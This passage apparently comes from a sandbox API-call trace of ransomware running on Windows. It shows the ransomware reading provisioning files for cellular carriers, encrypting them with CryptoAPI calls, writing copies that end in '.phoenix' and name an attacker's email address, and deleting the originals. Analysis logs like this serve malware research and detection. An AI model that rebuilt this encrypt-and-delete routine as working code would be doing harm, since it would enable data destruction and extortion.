	[0248.037] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.038] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.038] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.038] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=934) returned 1
	[0248.039] CloseHandle (hObject=0x2e8) returned 1
	[0248.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0248.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.039] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.039] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.039] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0248.039] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.040] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x3a6, lpOverlapped=0x0) returned 1
	[0248.156] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x3b0) returned 1
	[0248.156] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x3b0, lpOverlapped=0x0) returned 1
	[0248.157] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0248.157] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.157] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0248.157] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.157] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0248.157] CryptDestroyKey (hKey=0x151180) returned 1
	[0248.157] CloseHandle (hObject=0x2e8) returned 1
	[0248.157] CloseHandle (hObject=0x2b4) returned 1
	[0248.157] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml")) returned 1
	[0248.158] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.163] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.181] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=663) returned 1
	[0248.181] CloseHandle (hObject=0x2b4) returned 1
	[0248.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.181] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.181] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.181] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.182] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.182] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0248.182] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.182] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x297, lpOverlapped=0x0) returned 1
	[0248.183] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2a0) returned 1
	[0248.183] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2a0, lpOverlapped=0x0) returned 1
	[0248.184] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0248.184] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.184] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0248.184] CryptDestroyKey (hKey=0x151180) returned 1
	[0248.184] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0248.184] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.184] CloseHandle (hObject=0x2b4) returned 1
	[0248.185] CloseHandle (hObject=0x2e8) returned 1
	[0248.185] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.186] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.187] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=718) returned 1
	[0248.187] CloseHandle (hObject=0x2e8) returned 1
	[0248.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.189] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.189] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.189] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.189] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.189] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.189] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0248.189] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.190] ReadFile (in: hFile=0x2e8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ce, lpOverlapped=0x0) returned 1
	[0248.191] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0248.191] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0248.192] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.192] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0248.192] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.192] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0248.192] CryptDestroyKey (hKey=0x151280) returned 1
	[0248.192] CloseHandle (hObject=0x2e8) returned 1
	[0248.192] CloseHandle (hObject=0x2b4) returned 1
	[0248.192] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.193] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.193] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.194] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=454) returned 1
	[0248.194] CloseHandle (hObject=0x2b4) returned 1
	[0248.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0248.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0248.194] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.194] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0248.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.195] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0248.195] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.195] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c6, lpOverlapped=0x0) returned 1
	[0248.196] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0248.196] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0248.197] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0248.197] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0248.197] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0248.197] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.197] WriteFile (in: hFile=0x2e8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0248.197] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0248.197] CloseHandle (hObject=0x2b4) returned 1
	[0248.197] CloseHandle (hObject=0x2e8) returned 1
	[0248.198] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0248.198] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0248.198] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.199] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0248.199] CloseHandle (hObject=0x2e8) returned 1
	[0248.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0248.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
